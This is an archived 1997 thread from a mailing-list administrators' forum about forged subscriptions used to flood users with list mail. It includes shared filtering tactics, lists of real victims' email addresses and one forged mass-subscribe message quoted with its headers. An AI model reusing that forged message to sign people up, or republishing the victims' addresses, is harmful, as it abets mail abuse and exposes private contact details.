I'm sure that > several others would like to, as well. Here's my current list. It contains everything I got after the second or third day or so; after the filters took hold. The number in front tells how many e-mails I got for those users. 1 From: 71112.1620@compuserve.com 1 From: Anderson_ajax@msn.com 1 From: JohnChen00@aol.com 1 From: RICKMAC@swbell.net 1 From: Scott.Weiser@worldnet.att.net 1 From: abc46@juno.com 1 From: bobafett@hunter.ca 1 From: bolsa@flop.engr.orst.edu 1 From: dividual@hotmail.com 1 From: eblackwe@med.wayne.edu 1 From: ecurb@intercom.it 1 From: elee2@aries.ee.mcgill.ca 1 From: gioconda@ctrade.ctrade.it 1 From: hattrick@laplaza.org 1 From: htran1@erols.com 1 From: jimh@mail2.quicknet.com 1 From: lpeterson@sushiking.com 1 From: lutnik@cartabianca.com 1 From: lynnsgould@scomm2000.it 1 From: marc_bernardini@rcm.inet.it 1 From: mark@galactica.it 1 From: matteo_aletti@rcm.inet.it 1 From: mbail@flash.net 1 From: melgibbo@aol.com 1 From: melissa@series2000.com 1 From: mlc777@fullmkt.com 1 From: noreply@feefifofe.com 1 From: quynhle@erols.com 1 From: rckhrd_69@hotmail.com 1 From: rein777@flash.net 1 From: robrota@texnet.it 1 From: sales@quantcom.com 1 From: speed@paperuzz.net 1 From: sweetjan@ix.netcom.com 1 From: trangle@msuvx2.memphis.edu 1 From: trdchau@erols.com 1 From: unk@mindspring.com 1 From: vayman@eden.rutgers.edu 1 From: wskjr@swbell.net 2 From: 110077.0253@compuserve.com 2 From: Ewek@msn.com 2 From: Gryphon@skylord.com 2 From: IM4BUFFALO@postoffice.worldnet.att.net 2 From: PPereira@usa.net 2 From: Skidout@aol.com 2 From: aljber@kuwait.net 2 From: bed8226@megahertz.njit.edu 2 From: cookie@cyberjunkie.com 2 From: dung73@chollian.dacom.co.kr 2 From: gbryan@devry-phx.edu 2 From: johnkar@cris.com 2 From: junecho@idt.net 2 From: juseok@white.xtel.com 2 From: jwchoi@geocities.com 2 From: keast@soback4.kornet.nm.kr 2 From: lachico@aol.com 2 From: landfall@soback.kornet.nm.kr 2 From: ljsuk@hyundai.hdec.co.kr 2 From: mario@Baskerville.it 2 From: postmaster@rcm.inet.it 2 From: qluu@polaris.umuc.edu 2 From: sillyslut@hotmail.com 2 From: tildeath@nuri.net 2 From: tradelaw@onramp.net 2 From: wshaw@wantree.com.au 2 From: zybrgoat@ix.netcom.com 3 From: charles1@netcom.com 3 From: hotline@usit.net 3 From: sys21@nuri.net 4 From: MPETER@AOL.COM 4 From: caravita@public.iunet.it 4 From: simmons@pacbell.net 5 From: dblack@devry-phx.edu 6 From: scott.weiser@worldnet.att.net 6 From: tran@addis.net 20 From: phant@rpi.edu > I wish I had access to the Unix shell on the server; it appears to be > pretty easy to trap the suspect subscriptions with procmail, since they > are using a rather consistent format for the subscribes. Unfortunately, > all I have are Eudora filters, which are not as robust. For Unix listprocessor users, the fastest way is to patch the Catmail script. Listprocessor uses "Catmail" to determine what to do with the e-mails the listprocessor and the lists receive. I patched Catmail so it firsts checks the ENTIRE e-mail message against a file with strings it should NOT contain. On a UNIX system, this took me less than an hour or so. In this file are the domains that the spammer uses to distribute the forged e-mails, like nlights.net, goofy.gte.net, and others. Furthermore, I included strings in that file that usually point at spamming, like a sentence of the Krazy Kevin spam, the string "1-900", typical strings from every other spam I have received, etc. The e-mails are routed to me instead of to the list or the listprocessor. I receive them as regular mail in my mailbox, and I can then determine what to do about them. This has proven to save dozens and dozens of hours of work. > However, a *minor* pattern has become evident, and has allowed me to > write an effective filter to catch many of the illicit subs: apparently, > a good portion of these attacks are directed against Italian addresses. > Filtering on the subject of the "Welcome" message (on which I'm CCed) > *and* ".ir\r\r" (i.e., ".ir") in the body of the message has > enabled me to trap the Italian addresses on ListProc. Beware: .ir is IRAN, .it is ITALY. For European users this would be tedious; on one of my lists I have 34 users from Italy, who regularly post. Hope this can be of use, Kind regards, Alexander Verbraeck ----------------------------------------------------------------- Dr. Alexander Verbraeck Delft University of Technology Department of Systems Engineering, Policy Analysis and Management Jaffalaan 5 P.O. Box 5015, 2600 GA Delft The Netherlands Tel: +31 15 2783805 Secr: +31 15 2788380 Fax: +31 15 2783429 e-mail: A.Verbraeck@sepa.tudelft.nl List manager BPR-L, DYNMOD-L http://www.sepa.tudelft.nl/~alexandv/ See also ..../bpr-l.html ----------------------------------------------------------------- From owner-list-managers-outgoing Sun Apr 13 12:22:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA02044 for list-managers-outgoing; Sun, 13 Apr 1997 12:15:11 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA02009 for ; Sun, 13 Apr 1997 12:14:59 -0700 (PDT) Received: from [207.254.96.49] by colossus.arl.mil with ESMTP (Apple Internet Mail Server 1.1.1); Sun, 13 Apr 1997 15:21:18 -0400 Message-Id: In-Reply-To: <199704131855.UAA01041@duticai.twi.tudelft.nl> References: from "Vince Sabio" at Apr 13, 97 02:01:56 pm Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Sun, 13 Apr 1997 15:15:13 -0400 To: Alexander Verbraeck From: Vince Sabio Subject: Re: Mailing Lists Are Under Attack Again Cc: list-managers@greatcircle.com, listmom-talk@skyweyr.com, list-abuse@clio.lyris.net Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 20:55 +0200 4/13/97, Alexander Verbraeck sent everyone: >Here's my current list. It contains everything I got after the second or >third day or so; after the filters took hold. The number in front tells >how many e-mails I got for those users. ::snip:: Awesome. Thanks, Alexander. >> However, a *minor* pattern has become evident, and has allowed me to >> write an effective filter to catch many of the illicit subs: apparently, >> a good portion of these attacks are directed against Italian addresses. >> Filtering on the subject of the "Welcome" message (on which I'm CCed) >> *and* ".ir\r\r" (i.e., ".ir") in the body of the message has >> enabled me to trap the Italian addresses on ListProc. > >Beware: .ir is IRAN, .it is ITALY. I *know* that I originally typed ".it"; the modem switched it on me, I think. *sigh* (Thanks for catching that.) >For European users this would be tedious; >on one of my lists I have 34 users from Italy, who regularly post. Oh, I'm just catching the subscribes. In my case, posts come only from me. - Vince S. wavelet@colossus.arl.mil -- For info on HumourNet--the Internet's moderated mailing list for humor-- send the command INFO HUMORNET (only one U) to listproc@csf.colorado.edu -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Sun Apr 13 12:53:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA02867 for list-managers-outgoing; Sun, 13 Apr 1997 12:39:58 -0700 (PDT) Received: from moose.ncia.net (moose.ncia.net [207.140.8.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id MAA02856 for ; Sun, 13 Apr 1997 12:39:53 -0700 (PDT) Received: from ncia99n.ncia.net (ncia99n.ncia.net [207.141.176.99]) by moose.ncia.net (8.6.12/8.6.12) with SMTP id PAA18892 for ; Sun, 13 Apr 1997 15:38:21 -0400 Message-Id: <3.0.1.16.19970413153921.0dbfda9c@mailhost.ncia.net> X-Sender: gkfoote@mailhost.ncia.net X-Mailer: Windows Eudora Light Version 3.0.1 (16) Date: Sun, 13 Apr 1997 15:39:21 To: list-managers@greatcircle.com From: "Gary K. Foote" Subject: Re: Introduction Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Hello again, Somehow I cut everything after this line; >But, enough about me. I also meant to ask if anyone on this list can point me towards a FAQ on the issue of filtering software for bounces. Thanks, Gary K. Foote mailto:gf@listex.com ----------------------------------------------------- The List Exchange http://www.listex.com Increase your readership by trading list sponsorships Webbers.com http://www.webbers.com PO 3214, N.Conway, NH 03860 (603)356-2748 From owner-list-managers-outgoing Sun Apr 13 13:40:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA05146 for list-managers-outgoing; Sun, 13 Apr 1997 13:36:04 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA05138 for ; Sun, 13 Apr 1997 13:35:56 -0700 (PDT) Received: from [207.254.96.49] by colossus.arl.mil with ESMTP (Apple Internet Mail Server 1.1.1); Sun, 13 Apr 1997 16:42:25 -0400 Message-Id: In-Reply-To: <3.0.1.16.19970413153921.0dbfda9c@mailhost.ncia.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Sun, 13 Apr 1997 16:36:24 -0400 To: "Gary K. Foote" , List-Managers@GreatCircle.COM From: Vince Sabio Subject: Bounce Processing (was: Introduction) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 15:39 -0400 4/13/97, Gary K. Foote said: >I also meant to ask if anyone on this list can point me towards a FAQ on >the issue of filtering software for bounces. Damn, that's my cue! Send a blank message to our AR for information on SmartBounce, an app that automatically processes mailing-list bounces: smartbounce@bsabio.com I am currently within hours of the first full release (though you can DL the most recent beta right now) for Mac and Windows. BTW, the next step is a Unix port. I'll probably put out another call when I start on it, but anyone who is interested in being a beta tester for SmartBounce on Linux and/or Solaris platforms can contact me at . - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to . -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Sun Apr 13 13:52:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA05300 for list-managers-outgoing; Sun, 13 Apr 1997 13:38:57 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA05283 for ; Sun, 13 Apr 1997 13:38:49 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id WAA01758; Sun, 13 Apr 1997 22:37:56 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704132037.WAA01758@duticai.twi.tudelft.nl> Subject: Re: Mailing Lists Are Under Attack Again To: wavelet@colossus.arl.mil, orionsoft@telephonet.com Date: Sun, 13 Apr 1997 22:37:54 +0200 (MET DST) Cc: list-managers@greatcircle.com In-Reply-To: from "Vince Sabio" at Apr 13, 97 03:15:13 pm X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Oops, two attacks slipped through in the past few hours. One more pattern to add to my filter. The targeted domain is well known from previous attacks: 1 From: pgaske@audiophile.com 1 From: mattblack2@audiophile.com Kind regards, Alexander Verbraeck From owner-list-managers-outgoing Sun Apr 13 14:07:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA06779 for list-managers-outgoing; Sun, 13 Apr 1997 14:06:25 -0700 (PDT) Received: from shore.shore.net (shore.shore.net [192.233.85.136]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id OAA06762 for ; Sun, 13 Apr 1997 14:06:17 -0700 (PDT) Received: from jane.smoe.org (jeffw@smoe.org [204.167.97.154]) by shore.shore.net (8.8.3/8.8.2) with SMTP id RAA24178 for ; Sun, 13 Apr 1997 17:05:34 -0400 (EDT) Received: by jane.smoe.org (SMI-8.6/SMI-SVR4) id RAA15162; Sun, 13 Apr 1997 17:06:06 -0400 Message-ID: <19970413170604.PY17658@smoe.org> Date: Sun, 13 Apr 1997 17:06:04 -0400 From: jeffw@smoe.org (Jeff Wasilko) To: list-managers@greatcircle.com Subject: Re: Mailing Lists Are Under Attack Again References: <199704132037.WAA01758@duticai.twi.tudelft.nl> X-Mailer: Mutt 0.59.1 Mime-Version: 1.0 In-Reply-To: <199704132037.WAA01758@duticai.twi.tudelft.nl>; from "Alexander Verbraeck" on Apr 13, 1997 22:37:54 +0200 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Alexander Verbraeck writes: > Oops, two attacks slipped through in the past few hours. One more pattern > to add to my filter. The targeted domain is well known from previous > attacks: > While looking thru my file of pending confirmations, I found 2 attempts to s*b: Anti-Spam Campaign The email that was sent is below. It's a pretty bad attempt: From isaacb@netmcr.com Sun Apr 13 10:04:09 1997 Return-Path: Received: from bretweir.total.net by jane.smoe.org (SMI-8.6/SMI-SVR4) id KAA10585; Sun, 13 Apr 1997 10:04:08 -0400 Received: from smtp.total.net (pool14-16.odyssee.net [204.50.81.90]) by bretweir.total.net (8.8.5/8.8.5) with SMTP id JAA15004; Sun, 13 Apr 1997 09:55:30 -0400 (EDT) Date: Sun, 13 Apr 1997 09:55:30 -0400 (EDT) Message-Id: <199704131355.JAA15004@bretweir.total.net> X-Mailer: Microsoft Internet Mail and News for Macintosh - 1.1 (34) Subject: subscribe From: Anti-Spam Campaign To: MorganList-D-Request@morganlist.org content-length: 2846 Status: RO Lines: 185 dx-request@ve7tcp.ampr.org, majordomo@cycling.org, bitbucket-request@primenet.com, ct-user-request@ve7tcp.ampr.org, dx-request@ve7tcp.ampr.org, exam-list-request@arrl.org, vhf-request@w6yx.stanford.edu, w1aw-list-request@arrl.org, 990-request@xyzoom.info.com, veganmc@ibm.net, CC: MorganList-D-Request@morganlist.org, dx-request@ve7tcp.ampr.org, majordomo@cycling.org, bitbucket-request@primenet.com, ct-user-request@ve7tcp.ampr.org, dx-request@ve7tcp.ampr.org, exam-list-request@arrl.org, vhf-request@w6yx.stanford.edu, w1aw-list-request@arrl.org, 990-request@xyzoom.info.com, veganmc@ibm.net, vjmc-request@hyperreal.com, vulcan-request@enosys.com, ba-rides-request@terisa.com, ba-tuesday-request@terisa.com, ba-wednesday-request@terisa.com, bmw-tech-request@roadkill.com, aae-info@thechurch.ebay.sun.com, auteurs-request@niweb.com, basia-request@jane.tiac.net, bc-request@specklec.mpifr-bonn.mpg.de, BLODeMAIL@aol.com, white-house-request@wupper.de, richruss@gate.net, then-request@lysator.liu.se, harbinger-request@webcom.com, little-conversations-request@dover.cerf.net, costello-l-request@rain.org, eternal-request@keme.co.uk, avalon-request@webcom.com, sycophant-request@webcom.com, MULEemail@aol.com, gowest-request@worldmachine.com, weslist-request@world.std.com, incognito-request@worldmachine.com, magazine@cs.rmit.edu.au, jewel-request@jane.tiac.net, the-22nd-row-request@uiuc.edu, painted-desert-request@indyramp.com, kx-mgr@rfleming.demon.co.uk, kx-mgr@rfleming.demon.co.uk, otten@quark.umd.edu, level42-request@worldmachine.com, mahler-l-request@webcom.com, richruss@gate.net, neds-request@halcyon.com, nil8@cencom.net, marygold-babydoll-request@mailhost.wildstar.com, oceans-digest-request@tamos.gmu.edu, early-morning-hours-request@dip1.ee.uct.ac.za, police-digest-request@xmission.com, castaway@world.std.com, siblings-request@smoe.org, new-gold-dream-request@dfw.net, dominion-request@ohm.york.ac.uk, soupnet@iii.net, we-connect-request@indyramp.com, steely-dan-request@uiuc.edu, arithmetic-request@uclink.berkeley.edu, tagyerit@bcn.net, bobbieg@azstarnet.com, zztop-request@cabana.ncsa.uiuc.edu, aj-request@rock.net, jredmon@hpux.mesd.k12.or.us, ambient-digest-request@hyperreal.com, CB-Music@chatsubo.com, chi-improv@listmac.acns.nwu.edu, dp4@OAK.Oakland.Edu, Handbell-L@ringer.jpl.nasa.gov, playlist-request@hos.com, idm-request@hyperreal.com, mixmasters-request@infopro.com, Nettlist-Request@Nettwerk.wimsey.com, rad@intele.net, ringo@media.mit.edu, the-list-request@violet.berkeley.edu, sfraves-request@hyperreal.com, iawm-request@acuvax.acu.edu, xpert-request@x.org, Mime-version: 1.0 Content-type: text/plain; charset="us-ascii" subscribe From owner-list-managers-outgoing Sun Apr 13 14:12:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA06006 for list-managers-outgoing; Sun, 13 Apr 1997 13:52:10 -0700 (PDT) Received: from ec2.earthchannel.com (ec2.earthchannel.com [205.160.21.65]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id NAA05984; Sun, 13 Apr 1997 13:51:54 -0700 (PDT) Received: from ec12.earthchannel.com (unverified [205.160.21.75]) by ec3.earthchannel.com (EMWAC SMTPRS 0.83) with SMTP id ; Sun, 13 Apr 1997 16:50:30 -0400 Message-ID: Comments: Authenticated sender is From: "Gess Shankar" Organization: Earth Channel Communications LLC To: list-managers@greatcircle.com Date: Sun, 13 Apr 1997 16:38:49 -0500 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Mailing Lists Are Under Attack Again Reply-to: gess@earthchannel.com CC: list-managers@greatcircle.com In-reply-to: <199704131855.UAA01041@duticai.twi.tudelft.nl> References: from "Vince Sabio" at Apr 13, 97 02:01:56 pm X-mailer: Pegasus Mail for Win32 (v2.53/R1) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On 13 Apr 97 at 20:55, Alexander Verbraeck wrote: > > Chuq, if you collate the targeted addresses at some point, could you > > please post them? I know I'd like to scrub my list, and I'm sure that > > several others would like to, as well. > > Here's my current list. It contains everything I got after the > second or third day or so; after the filters took hold. The number > in front tells how many e-mails I got for those users. > > 1 From: 71112.1620@compuserve.com > 1 From: Anderson_ajax@msn.com > 1 From: JohnChen00@aol.com > 1 From: RICKMAC@swbell.net > 1 From: Scott.Weiser@worldnet.att.net > 1 From: abc46@juno.com > 1 From: bobafett@hunter.ca > 1 From: bolsa@flop.engr.orst.edu > 1 From: dividual@hotmail.com > 1 From: eblackwe@med.wayne.edu > 1 From: ecurb@intercom.it > 1 From: elee2@aries.ee.mcgill.ca > 1 From: gioconda@ctrade.ctrade.it > 1 From: hattrick@laplaza.org > 1 From: htran1@erols.com > 1 From: jimh@mail2.quicknet.com > 1 From: lpeterson@sushiking.com > 1 From: lutnik@cartabianca.com > 1 From: lynnsgould@scomm2000.it > 1 From: marc_bernardini@rcm.inet.it > 1 From: mark@galactica.it > 1 From: matteo_aletti@rcm.inet.it > 1 From: mbail@flash.net > 1 From: melgibbo@aol.com > 1 From: melissa@series2000.com > 1 From: mlc777@fullmkt.com > 1 From: noreply@feefifofe.com > 1 From: quynhle@erols.com > 1 From: rckhrd_69@hotmail.com > 1 From: rein777@flash.net > 1 From: robrota@texnet.it > 1 From: sales@quantcom.com > 1 From: speed@paperuzz.net > 1 From: sweetjan@ix.netcom.com > 1 From: trangle@msuvx2.memphis.edu > 1 From: trdchau@erols.com > 1 From: unk@mindspring.com > 1 From: vayman@eden.rutgers.edu > 1 From: wskjr@swbell.net > 2 From: 110077.0253@compuserve.com > 2 From: Ewek@msn.com > 2 From: Gryphon@skylord.com > 2 From: IM4BUFFALO@postoffice.worldnet.att.net > 2 From: PPereira@usa.net > 2 From: Skidout@aol.com > 2 From: aljber@kuwait.net > 2 From: bed8226@megahertz.njit.edu > 2 From: cookie@cyberjunkie.com > 2 From: dung73@chollian.dacom.co.kr > 2 From: gbryan@devry-phx.edu > 2 From: johnkar@cris.com > 2 From: junecho@idt.net > 2 From: juseok@white.xtel.com > 2 From: jwchoi@geocities.com > 2 From: keast@soback4.kornet.nm.kr > 2 From: lachico@aol.com > 2 From: landfall@soback.kornet.nm.kr > 2 From: ljsuk@hyundai.hdec.co.kr > 2 From: mario@Baskerville.it > 2 From: postmaster@rcm.inet.it > 2 From: qluu@polaris.umuc.edu > 2 From: sillyslut@hotmail.com > 2 From: tildeath@nuri.net > 2 From: tradelaw@onramp.net > 2 From: wshaw@wantree.com.au > 2 From: zybrgoat@ix.netcom.com > 3 From: charles1@netcom.com > 3 From: hotline@usit.net > 3 From: sys21@nuri.net > 4 From: MPETER@AOL.COM > 4 From: caravita@public.iunet.it > 4 From: simmons@pacbell.net > 5 From: dblack@devry-phx.edu > 6 From: scott.weiser@worldnet.att.net > 6 From: tran@addis.net > 20 From: phant@rpi.edu > Great list! Many of the names appeared here too. phant@rpi.edu definitely is number one - popular person. Here are a few which I don't think are on the above list. 1 From: shawpk@msn.com 2 From: bradxox@netcom.ca 2 From: Kkkwww123@aol.com 3 From: cxh0837@megahertz.njit.edu Most of them originated from the following source. Received: from mom.hooked.net (fox-sl0.easyway.net [205.232.178.254]) by mom.hooked.net (8.8.0/8.7.3) with SMTP id DAA14064 for ; Sun, 13 Apr 1997 03:55:15 -0700 ( PDT) From: phant@rpi.edu Gess :::::::::::::::::::::::::::::::::::::::::::::::::::::::: Gess Shankar pax vobiscum gess@earthchannel.com http://www.earthchannel.com Earth Channel Communications, LLC. :::::::::::::::::::::::::::::::::::::::::::::::::::::::: From owner-list-managers-outgoing Mon Apr 14 02:56:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA19368 for list-managers-outgoing; Mon, 14 Apr 1997 02:46:26 -0700 (PDT) Received: from relay.cs.tcd.ie (relay.cs.tcd.ie [134.226.32.56]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id CAA19360 for ; Mon, 14 Apr 1997 02:46:19 -0700 (PDT) Message-Id: <199704140946.CAA19360@honor.greatcircle.com> Received: from cs.tcd.ie (actually relay.cs.tcd.ie) by relay.cs.tcd.ie with SMTP (PP); Mon, 14 Apr 1997 10:45:31 +0100 To: list-managers@greatcircle.com, pp-people@cs.ucl.ac.uk Subject: [NDEL] 554 No From field given Date: Mon, 14 Apr 1997 10:45:29 +0100 From: Maire Jones Sender: list-managers-owner@GreatCircle.COM Precedence: bulk We are running Majordomo 1.93 on Solaris 2.5 with ISODE IC-2.1v2 (pp) and just recently we have been getting the following error in the shell log file [NDEL] 554 No From Field given. Has anyone come across this before, and if so, any ideas how to fix it. It causes all mail to majordomo or to any majordomo mailing lists at our site to fail. Thanks in advance for any help. -- , Maire Jones, e-mail: Maire.Jones@cs.tcd.ie Computer Science Department, phone: +353-1-608-1695 Trinity College, Dublin 2, Ireland. fax: +353-1-677-2204 From owner-list-managers-outgoing Mon Apr 14 08:46:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA18574 for list-managers-outgoing; Mon, 14 Apr 1997 08:39:39 -0700 (PDT) Received: from hslrswi.hasler.ascom.ch (hslrswi.hasler.ascom.ch [139.79.129.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA18498 for ; Mon, 14 Apr 1997 08:39:16 -0700 (PDT) Received: from ens.ascom.ch (chieftain.ens.ascom.ch [139.79.60.1]) by hslrswi.hasler.ascom.ch (8.8.5/8.7.1) with SMTP id RAA14978 for ; Mon, 14 Apr 1997 17:38:38 +0200 (MET DST) Received: from spbx399.ens.ascom.ch by ens.ascom.ch (4.1/SMI-4.1-DNI-7.0.1) id AA08091; Mon, 14 Apr 97 17:40:31 +0200 Received: from spbx09.ens.ascom.ch by spbx399.ens.ascom.ch (SMI-8.6/SMI-SVR4) id QAA05726; Mon, 14 Apr 1997 16:38:32 +0100 Received: by spbx09.ens.ascom.ch (SMI-8.6/SMI-SVR4) id QAA05449; Mon, 14 Apr 1997 16:38:32 +0100 Date: Mon, 14 Apr 1997 16:38:32 +0100 From: lewis@ens.ascom.ch (Mark Lewis - Ascom PSD Cardiff UK) Message-Id: <199704141538.QAA05449@spbx09.ens.ascom.ch> To: List-Managers@GreatCircle.COM Subject: Domain name problems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: h0oFeVexdboJTrYhJMeljg== Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Hi We have recently upgraded from majordomo-1.93 to majordomo-1.94. At the same time we changed os from SunOS 4.1.3_U1 to Solaris 2.5.1. We are now having problems with the address that is used for our mailing lists inside messages distributed from them. Previously (version 1.93) messages would have contained an address like:- mailing_list_name@ens.ascom.ch where ens.ascom.ch is our domain name. Since the change we see :- mailing_list_name@stva95 where stva95 is a server in the ens.ascom.ch domain. No domain address is added to the server name. If I receive mail from our mailing server at my home e-mail account I see :- mailing_list_name@stva95.my_home_isp_address.co.uk The value of the whereami for version 1.93 was :- # $whereami -- What machine am I running on? $whereami = "stva99"; For version 1.94 it is (we have changed server) # $whereami -- What machine am I running on? $whereami = "stva95"; Is this a majordomo configuration problem or a Unix problem? Many thanks Mark ------------------------------------------------------------------ | Mark Lewis | Phone: +44-1222-774501 | | Ascom Telecommunications Ltd | Fax: +44-1222-774500 | | Cypress Drive | Email: lewis@ens.ascom.ch | | Cardiff, CF3 0EG, UK | http://www.ascom.ch/ | ------------------------------------------------------------------ From owner-list-managers-outgoing Tue Apr 15 11:27:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA14038 for list-managers-outgoing; Tue, 15 Apr 1997 11:10:32 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA02026 for ; Tue, 15 Apr 1997 09:49:54 -0700 (PDT) Received: from request.net (request.net [208.204.14.2]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id IAA02171 for ; Tue, 15 Apr 1997 08:26:50 -0700 (PDT) Received: from dell ([204.245.105.131]) by request.net with SMTP id <1970522-1651>; Tue, 15 Apr 1997 11:23:41 -0400 Message-Id: <3.0.1.32.19970415112232.006cac1c@klstools.com> X-Sender: ken@klstools.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Tue, 15 Apr 1997 11:22:32 -0400 To: list-managers@greatcircle.com From: Ken Kyler Subject: CyberPromo Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I don't know if this will work or not, but I called CyberPromo (800-650-9110) and requested that my domains be removed from their "lists." Wish me luck ... ---- Ken Kyler, KLS Tools Inc. Kensington, Maryland, USA (301) 929-0367 [voice] (301) 929-6249 [fax] Pager: (800) 577-7468 PIN 3612469 http://www.KLSTools.com From owner-list-managers-outgoing Tue Apr 15 11:40:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA14950 for list-managers-outgoing; Tue, 15 Apr 1997 11:22:12 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA01214 for ; Tue, 15 Apr 1997 09:47:32 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id JAA03233 for ; Tue, 15 Apr 1997 09:18:41 -0700 (PDT) Received: from spider.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.D06037E0@mailer.syr.edu>; Tue, 15 Apr 1997 12:16:14 -0400 Received: from spider.syr.edu (jmwobus@localhost [127.0.0.1]) by spider.syr.edu (8.8.5/8.8.5) with ESMTP id MAA12504; Tue, 15 Apr 1997 12:16:08 -0400 (EDT) Message-Id: <199704151616.MAA12504@spider.syr.edu> To: list-managers@greatcircle.com cc: jmwobus@MailBox.Syr.Edu Subject: Picking up the pieces Date: Tue, 15 Apr 1997 12:16:06 -0400 From: "John M. Wobus" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Any opinions on the policy of carrying out sign-off requests that are sent to mailing lists? On a list that I read (fortunately for me, not the one that I administer), the following thing happened: (1) Some evil perp subscribed a bunch of unsuspecting people to the list. (2) The unsuspecting people started receiving lots of long, technical messages, on a topic that they were not likely to have any background in. (3) At least some of these victims responded with messages to "take me off your list", which they sent to the list itself. (4) More than one list member responded with a calm, rational reply explaining the procedure by which any list member can remove him/herself from the list. (5) More than one of the victims responded with messages like "I didn't join your ****ing list, now take me off!!" "Why should *I* have to do anything, I didn't join your **** **** list." Some also started responding to every post to the list with a response that copied the original post and appended the response (not in so many words) "Please take me off this list!" (6) All this continued for a while. If the list administrator was reading the list and carrying out requests to sign off, then he/she did not carry out the requests sufficiently quickly in this case to avoid the mess. I suspect that some list administrators ignore signoff requests posted to the list itself since they think to do otherwise would encourage them. In the list in question, I have no idea whether that was the case. Note that the arguing was taking place between people who had taken no action to get on the list and other people who had no direct ability to carry out their demands. Thus much of the blame for a touchy situation can be safely assigned to the person who did the bogus subscribing, the rest of the parties being relatively innocent bystanders. Also, while some of the "victims" showed a lack of netiquette, they may have seen the e-mail they were receiving as a kind of abuse: there are certainly people who are only geared towards a small amount of e-mail, and who are unlikely to be able to distinguish between e-mail abuse from what would be considered normal e-mail to the subscribers of some lists. One result of this incident was that the mailing list in question was reconfigured so that it appended sign-off instructions to the end of every posting. Naturally, there are often measures that a list administrator can take: perhaps the subscription process can be tightened up either through improved list-maintenance software or administratively by having the list administrator approve individual subscription-requests. But it does not seem that such measures will completely eliminate the chance of such situations happening. Any thoughts about the best way for a list administrator to reduce or avoid such situations, and about to handle them when they arise? Should list administrators scan for and carry out all requests to sign off that are posted to their lists? -John Wobus Administrator of BIG-LAN mailing list From owner-list-managers-outgoing Tue Apr 15 12:24:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA20325 for list-managers-outgoing; Tue, 15 Apr 1997 12:17:55 -0700 (PDT) Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA20317 for ; Tue, 15 Apr 1997 12:17:48 -0700 (PDT) Received: (from lazlo@localhost) by kitsune.swcp.com (8.8.5/1.2.3) id NAA04672 for list-managers@greatcircle.com; Tue, 15 